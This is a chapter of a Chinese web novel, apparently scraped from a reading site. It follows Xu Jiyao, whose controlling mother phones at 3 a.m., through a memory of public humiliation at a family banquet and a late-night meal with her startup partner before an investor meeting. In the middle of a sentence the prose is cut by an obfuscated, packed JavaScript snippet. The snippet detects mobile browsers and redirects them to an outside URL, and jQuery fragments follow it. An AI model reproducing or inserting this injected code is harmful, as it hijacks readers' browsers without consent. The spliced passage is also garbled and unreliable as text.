电话是在凌晨三点打来的。


    徐寄遥刚处理完“无处可逃”的订单，女孩的父亲在楼梯上滑倒了，酒醒了一半，被随后赶到的警察带走醒酒。


    她和应宽又在工作室待了两个小时，确认女孩和母亲安全，才各自回房间休息。


    工作室是合租的，三室一厅，应宽住一间，徐寄遥住一间，剩下中间的一间暂时放些杂物。这是他们创业一年多来的标配住宿，能省则省，把钱都砸在项目上。


    手机震动的时候，徐寄遥正在做梦。


    梦里她八岁，坐在钢琴前，手指僵硬地按着琴键。母亲站在身后，手里拿着一把塑料尺子。


    “错了，”尺子敲在肩膀上，“重来。”


    她又按了一遍。


    “还是错，你怎么这么笨？”


    尺子又敲下来。不疼，但那种屈辱感，二十多年后依然清晰。


    手机还在震。


    徐寄遥睁开眼，摸到手机，看到屏幕上跳动的名字，“妈”。


    凌晨三点。


    她按掉，翻个身继续睡。


    手机又震。


    再按掉。


    第三次响起的时候，徐寄遥坐起来，盯着那个名字看了五秒，然后接通。


    “喂。”


    “你这孩子怎么回事，挂我电话啊？”何久红的声音尖锐刺耳，在寂静的凌晨格外清晰，“你居然挂妈妈的电话？”


    徐寄遥看了一眼时间。


    3:17。


    “妈，现在是凌晨三点。”


    “凌晨三点怎么了？我气到现在睡不着！你知道我为什么睡不着吗？被你气的！”


    徐寄遥闭上眼，深吸一口气。她告诉自己，不要吵，不要吵，凌晨三点吵架没有任何意义。


    但她知道，何久红不会这么想。在母亲的世界里，没有不合适的时间，只有你必须接我电话。


    “你发的那个自动回复是什么意思？”何久红继续输出，“什么‘代吵师不接让父母痛苦的订单’？我是你妈妈！你不是喜欢跟我吵架吗，我下个单让你来骂我，照顾你生意，你还发这种官话打发妈妈？”


    “妈，那是系统自动……”


    “别跟我说系统！你那个APP是你开的，系统也是你定的！怎么回复还不是你说了算！你不就是嫌我烦吗？行！妈以后再也不管你了！”


    徐寄遥没有说话。她太熟悉这套话术了，先指责，再委屈，最后用“再也不管你”来逼你低头。


    “喂？遥遥，妈在跟你说话！”


    “我在听。”


    “你就这么听着？你要意识到你的错啊！”


    “啊？妈，我错什么了？”


    “你、”何久红卡了一下，然后换了个方向，“你不回家过年！你一个人在外面漂！你32岁了还不结婚！你搞那个什么代吵APP，帮别人吵架，你自己家的矛盾不管！你说你错什么了？”


    徐寄遥睁开眼睛，看着天花板。


    天花板上有一块水渍，形状像一只兔子。她盯着那只兔子，语气平静得近乎冷漠：


    “妈，我的APP上线31天，接了500多单，没收一分钱，我欠应宽的工资已经三个月没发了，我明天、不对，是今天，今天要去见一个投资人，如果谈不下来，下个月服务器就续不起了。”


    她顿了顿。


    “妈，你觉得在这个情况下，我应该在哪儿？在家里陪你过年？还是去相亲？”


    电话那头突然安静了。


    然后何久红说：“你怎么不早说？”


    徐寄遥冷笑了一下。这是典型的何久红式关心，永远在指责，偶尔流露一点真实，但很快就会绕回自己身上。


    果然，下一句是：


    “妈妈早就说你那个APP不靠谱！什么代吵，一听就不正经！你看人家王阿姨的儿子，在税务局上班，稳稳当当的，多好啊！你啊！你要听妈妈的话啊！”


    “妈，”徐寄遥打断她，“我累了，三点多了，我要睡了。”


    “妈还有话要说！”


    “拜拜。”


    徐寄遥挂断电话，把手机调成飞行模式，扔到一边。


    她盯着天花板上的兔子，脑子里却浮现出另一段记忆。


    2015年，夏天。


    /


    那是她大学毕业的第二年，22岁，刚进互联网公司做产品助理。工资不算很高，但够花，偶尔和朋友出去吃饭，生活简单而充实。


    唯一的烦恼是相亲。


    何久红从她毕业那天就开始张罗。


    先是托亲戚介绍，然后是朋友，然后是朋友的朋友。


    徐寄遥拒绝了一次，两次，三次……到第八次的时候，她已经学会用加班当借口。


    第九次是在一个亲戚的饭局上。


    那天是表舅的儿子结婚，全家族的人都到了。


    何久红穿着她最讲究的藏蓝色套装，头发精心打理过，涂着口红，笑得得体又精致。


    徐寄遥坐在她旁边，穿着一件牛仔衬衣和牛仔裤。她刚下班赶过来。


    “哎，寄遥啊，”三姨凑过来，压低声音但音量足够让半桌人听见，“有对象了没？”


    徐寄遥礼貌地笑笑：“还没，我才刚毕业。”


    “哎哟，22了，该找了，三姨有个同事，她儿子特别优秀，政府公务员，比你大几岁，要不介绍你们认识认识？”


    “谢谢三姨，我工作挺忙的，暂时不想……”


    “哎哟，忙什么忙，”三姨打断她，“女孩子工作那么拼干什么哦，找个好人家才是正经哟。”


    何久红在旁边笑着点头：“就是嘛，我也这么说她，这孩子，就知道工作，还想当女强人。”


    徐寄遥没有说话。她低头夹菜，假装没听见。


    但何久红显然没打算放过她。


    何久红端着酒杯，对着全桌亲戚，“我这个女儿啊，长相学历什么都好，就是太挑了，之前给她介绍了八个，八个都说看不上，都是条件很好的男孩子啊，有房有车有稳定工作，她就是不乐意。”


    徐寄遥握着筷子的手紧了紧。


    “妈。”


    “怎么？”何久红看她一眼，眼神里带着笑，但那笑是冷的，“你倒是说说，那些男孩子哪里不好？”


    全桌人的目光都落在徐寄遥身上。


    她感觉自己像一只被放在展台上的动物，任人评头论足。


    “不是哪里不好，”她尽量保持语气的平静，“我才刚毕业，想要好好工作几年，现在不合适。”


    “不合适不合适，”何久红学着她的语气，“你跟谁合适？你说说看，你到底想找什么样的？这么大的人了，是不是还在做什么追星族，崇拜哪个男明星！”


    亲戚们笑起来。那笑声里有关切，有好奇，但也有一种隐秘的、看热闹的兴奋。


    徐寄遥的脸开始发烫。


    “妈，什么猴年马月的事了，我没有。”小时候追过某男明星的事，要被何久红嚼一辈子。


    “你就是眼光太高！”何久红放下酒杯，声音提高了一度，“我跟你说，女孩子过了二十五就不好找了，你还不抓紧，你看看你表姐，比你大两岁，孩子都两岁了，你呢？还不谈对象，你让我这张老脸往哪搁？”


    “妈，这是我自己的事。”徐寄遥有些急眼了，这么多人看着。


    “你自己的事？”何久红彻底放下筷子，转向她，“我是你妈！我辛辛苦苦把你养大，你就这么报答我？”


    徐寄遥的胸口开始发闷。


    她知道自己应该忍住，不要在这种场合顶嘴。但她22岁，年轻气盛，心里那根刺已经被扎了太多次。


    “所以呢？”她抬起头，看着母亲，“你养我长大，就是为了让我嫁人？”


    空气突然安静了。


    何久红的表情僵住。那张精致的脸上浮现出一种徐寄遥从未见过的神色。


    不是愤怒，不是伤心，是一种近乎扭曲的、被戳穿的羞恼。


    然后她说出那句话。


    “嫁人？我不跟你张罗，你以为你嫁得出去？”


    何久红站起来，居高临下地看着她，声音响彻整个包间：


    “你妈我给你介绍了八个，八个你都看不上，你以为你是谁？你以为你条件多好？我告诉你，不趁着年轻找个条件好的，你再这样下去，就没有人要了！”


    没有人要了。


    这五个字像耳光一样抽在徐寄遥脸上。


    包间里静得能听见空调的嗡鸣声。亲戚们都低着头，假装在吃东西。


    徐寄遥站起来。


    她没有哭。她也不知道自己为什么不哭。


    她只是站起来，对表舅说了一声“我先走了”，然后拿起包，走了出去。


    走出酒店的时候，外面下着雨。


    夏天的暴雨，说下就下。她站在酒店门口的雨棚下，看着雨水砸在地上，溅起白色的水花。


    不知道过了多久，有人从背后拍了拍她的肩膀。


    是父亲。


    徐士朋站在她身后，手里拿着一把伞。


    他没说话，只是把伞递给她。


    “爸，”她开口，声音沙哑，“我妈说的是真的吗？我真的那么差？”


    徐士朋沉默了。然后他说：


    “遥遥，你很优秀。”


    就这么简单的一句话。


    那天晚上，回家后徐寄遥把自己关在房间里，用被子蒙着头哭了很久。


    从那以后，她再也没有为这件事哭过。


    /


    回忆像潮水一样退去。


    徐寄遥仍然躺在床上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239909|197680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，盯着天花板上那只兔子形状的水渍。


    手机在枕头边安静地躺着。飞行模式。凌晨四点。


    她知道今天还要去见投资人。


    她想起父亲。想起他的沉默，和他为数不多的几句话。


    徐士朋是个不善言辞的人。


    做了一辈子中学教师，教数学，从普通教师做到副校长。但在家里，他总是话最少的那一个。


    何久红骂他的时候，他听着。何久红骂徐寄遥的时候，他在旁边沉默地看着，眼神里有心疼，但很少插嘴。


    徐寄遥小时候恨过他的沉默。她觉得他懦弱，不敢保护她。


    直到很多年后她才明白，沉默是父亲的生存之道。


    何久红的火力是固定的，如果徐士朋开口，会把火力引到自己身上，然后父女俩一起挨骂，没完没了。


    徐寄遥翻了个身，摸到手机，犹豫了一下，关掉了飞行模式。


    一条新消息来自应宽，凌晨四点整：


    “睡不着的话，我煮了面。”


    她愣了一下，然后轻轻笑了。


    这个技术宅，凌晨四点不睡，煮面。


    她翻身起床，披上外套，推开门。


    客厅里亮着一盏小灯。


    应宽坐在餐桌前，面前摆着两碗面，汤清白面，上面卧着一个荷包蛋。他盯着笔记本电脑的屏幕，手指还在键盘上敲着什么。


    “你不睡？”徐寄遥走过去，在他对面坐下。


    “服务器有点波动，我调了一下。”应宽合上电脑，推给她一碗面。


    徐寄遥低头吃面。面是清汤的，看起来只放了点葱花和盐，可味道就是很好。


    该说不说，这个技术宅，厨艺方面确实有些天赋。


    “你妈又打电话了？”应宽问。


    “嗯。”


    “说什么？”


    徐寄遥想了想，挑了一个不太重要的说：“问我为什么不接她那个骂自己的订单。”


    应宽沉默了一下，然后说：“你妈挺有意思的，还会用代吵APP。”


    徐寄遥差点被面呛到。


    “应宽，”她放下筷子，看着他，“你这是在安慰我，还是在损我？”


    “实话实说。”应宽推了推眼镜。


    徐寄遥盯着他看了几秒，然后笑了。


    这一次是真的笑。


    “谢谢。”


    “谢什么？”


    “谢谢你凌晨四点煮面我吃。”


    “嗐，顺手的事儿。”应宽说。


    他低下头，继续吃面。灯光打在他的侧脸上，黑眼圈很明显，但嘴角有一点点上扬的弧度。


    “吃完了去睡，”他说，“投资人约的九点半，你总不想顶着俩黑眼圈去见人。”


    “你呢？”


    “我再盯一会儿服务器。”


    徐寄遥没有劝他。


    吃完面，她把碗端到厨房洗了，然后站在厨房门口，看着应宽的背影。这个男人一米八五，进出房门总是不小心碰到头。


    “应宽。”


    “嗯？”


    “我们一定能把这个APP做起来，对吧？”


    应宽转过头，看着她。他的眼睛藏在镜片后面。


    “能，”他说，“我们一定能。”


    /


    早上八点，徐寄遥被闹钟叫醒。


    她睡了不到三个小时，但精神状态还不错。


    冲了个澡，换上她为数不多偏职业的衣服，一套简约的黑色西服套装。化了妆，头发还是齐肩短发，用发胶稍微打理了一下，露出额头，看起来干练利落。


    右耳的耳钉形降噪耳机，她从来不摘。那是她的标志，也是她的护身符，戴上它，就进入作战状态。


    应宽已经换好了衣服。万年不变的深色T恤加工装裤，头发还是乱的，但至少把黑框眼镜擦亮了。


    “投资人那边确认了，”他拿着手机，“九点半，星巴克，对方叫周敏，鲲鹏资本的投资经理，三十五岁，女。”


    徐寄遥点点头。


    “你紧张？”应宽问。


    “不紧张，”徐寄遥拿起包，“紧张也没用，该来的总会来。”


    出门前，她看了一眼手机。


    何久红没再发消息。


    她把手机揣进口袋，推开门。


    外面阳光很好，是2025年大年初一的早晨。


    小区里很安静，大部分人还在睡觉。只有几个老太太在楼下遛弯，看见她出来，多看了两眼。


    徐寄遥迎着阳光往前走。


    她想起应宽说的那句话，我们一定能。


    她也想起何久红那句，没有人要了。


    十年过去了，那句话还在。但它不再是一根刺，而是一块垫脚石。


    她踩着它，走得更高。